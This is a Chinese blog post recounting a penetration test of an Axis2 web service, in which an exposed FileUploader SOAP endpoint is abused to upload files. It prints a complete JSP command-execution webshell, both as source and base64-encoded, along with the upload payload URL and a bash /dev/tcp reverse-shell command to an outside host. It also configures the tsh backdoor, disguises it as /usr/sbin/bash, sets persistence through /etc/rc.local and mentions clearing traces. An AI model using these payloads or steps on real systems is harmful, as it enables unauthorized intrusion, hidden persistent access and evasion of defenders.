一次真实axis2渗透测试

2019-07-31 约 1717 字 预计阅读 4 分钟

声明:本文 【一次真实axis2渗透测试】 由作者 ascii**** 于 2019-07-31 10:10:00 首发 先知社区 曾经 浏览数 278 次

感谢 ascii**** 的辛苦付出!

一 前言

最近在渗透测试中,遇到一个比较有趣的站,因此来分享一下

二 信息收集

首先通过nmap进行端口扫描,同时通过dirsearch进行目录扫描,dirsearch扫描结果如下。

通过目录扫描发现一些有用的信息

第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在


google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell

三 漏洞测试

访问后台地址,尝试默认口令admin/axis2,发现如下,顿时心凉半截

尝试爆破,无果

不甘心就此止步于此,于是尝试浏览网站,看看是否存在其他有价值的漏洞,直到发现了这个

四 柳暗花明

访问http://xxxxxx/axis2/services/FileUploader?wsdl 发现一个wsdl接口文档,名为uploadfile

第一次看到一阵蒙,但内心坚定这里一定可以利用,于是各种百度,发现了如下文章
webservie+soap+wsdl入门
根据文章所讲,加上自己猜测,明白这是个可以上传文件的接口文档,根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容,类型是base64Binary
ruta表示路径,类型是String
nombre表示文件名字,类型是String

<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="documento" nillable="true" type="xs:base64Binary"/>
<xs:element minOccurs="0" name="ruta" nillable="true" type="xs:string"/>
<xs:element minOccurs="0" name="nombre" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>

如下代码定义了上传访问路径(FileUploader/uploadFile),以及上传方式(post)

<wsdl:binding name="FileUploaderHttpBinding" type="axis2:FileUploaderPortType">
<http:binding verb="POST"/>
<wsdl:operation name="uploadFile">
<http:operation location="FileUploader/uploadFile"/>
<wsdl:input>
<mime:content type="text/xml" part="parameters"/>
</wsdl:input>
<wsdl:output>
<mime:content type="text/xml" part="parameters"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

结合以上,可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞

上传jsp木马

<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=big5">

</head>

<body>

<%

  Runtime runtime = Runtime.getRuntime();

  Process process =null;

  String line=null;

  InputStream is =null;

  InputStreamReader isr=null;

  BufferedReader br =null;

  String ip=request.getParameter("cmd");


  try

  {

    process =runtime.exec(ip);

    is = process.getInputStream();

    isr=new InputStreamReader(is);

    br =new BufferedReader(isr);

    out.println("<pre>");

    while( (line = br.readLine()) != null )

    {

      out.println(line);

      out.flush();

    }

    out.println("</pre>");

    is.close();

    isr.close();

    br.close();

  }

  catch(IOException e )

  {

    out.println(e);

    runtime.exit(1);

  }

%>

</body>

</html>

base64编码以上jsp木马

PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==

构造payload如下

http://xxxxxx/axis2/services/FileUploader/uploadFile?document=PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp

访问链接,结果如下,表示成功得到一个jsp shell

反弹shell

访问shell地址,执行反弹shell(信息收集阶段nmap发现为linux)

http://xxxx/axis2/2.jsp?cmd=bash -i >& /dev/tcp/外网ip/port 0>&1

执行反弹几次,发现一直不成功,最后通过测试,该主机对端口访问进行了限制,只能访问外网80端口,故反弹shell连接中port为80

后门

当反弹shell后,发现是一台虚拟机,有点失望,但同时发现,该机具有多个内网网段,故打算留个后门以用来进行后面的内网渗透


我打算留下一个tsh后门,Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)
该后门分为客户端和服务端,支持正向连接模式(即服务端在远程运行,使用者远程直接链接),和反弹连接模式(使用者在自己服务器监听,服务端链接监听端口)
后门下载地址:https://github.com/orangetw/tsh.git
下载tsh到自己服务器上,修改其中的tsh.h文件如下

#ifndef _TSH_H
    #define _TSH_H

   char *secret = "replace with your password";

   #define SERVER_PORT 80/*监听端口*/
   #define FAKE_PROC_NAME "/bin/bash"

   #define CONNECT_BACK_HOST  "外网ip"
  #define CONNECT_BACK_DELAY 30

  #define GET_FILE 1
  #define PUT_FILE 2
  #define RUNSHELL 3

  #endif /* tsh.h */

自己服务器上执行

目标机器上通过wget下载tsh


解压后进入tsh目录,然后执行编译(原本打算在自己服务器上编译后上传,结果因为库版本不同报错)

make linux

把图中的tsh下载到自己的服务器上(在控制端执行监听)

然后执行

./tsh cb

将图下tshd重命名为bash,移动至/usr/sbin/bash(以达到更好隐藏自己的目的)


然后执行(记住添加执行权限x)

./usr/sbin/bash

30秒钟左右,成功获取一个shell

权限维持

如果,目标机器重启,则tsh后门将要失效,为了防止tsh失效,我们可以在/etc/rc.local文件中写入

/bin/bash /usr/sbin/bash

因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了

四 总结

在这次测试中,主要是明白了,开发总是会出现各种问题,一条路不通,走下一条路,才能在这其中学到跟多知识,更加希望大佬们指出其中的不足,感谢,感谢,感谢。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now